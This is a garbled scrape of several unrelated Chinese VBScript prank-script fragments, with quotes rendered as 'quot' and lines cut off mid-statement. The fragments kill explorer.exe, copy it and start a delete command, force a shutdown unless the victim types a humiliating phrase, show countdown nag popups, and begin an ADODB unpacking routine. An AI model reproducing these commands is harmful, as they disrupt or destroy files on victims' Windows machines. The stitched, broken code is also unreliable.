quotWscriptShellquot wsrun quotcmdexe c taskkill f im explorerexequot，0 wscriptsleep 900 wsrun quotcmdexe c copy %windir%\explorerexe %windir%\explorerDataquot wscriptsleep 1200 wsrun quotcmdexe c del q。
dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim。
vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。
WScriptEchoquot还剩10下，你现在可以选择停止quotWScriptEchoquot还剩9下你还点啊，不要我拉quotWScriptEchoquot还剩8下，有点伤心拉，干嘛丢弃人家quotWScriptEchoquot还剩7下疯了，你有点负意quotWScriptEchoquot。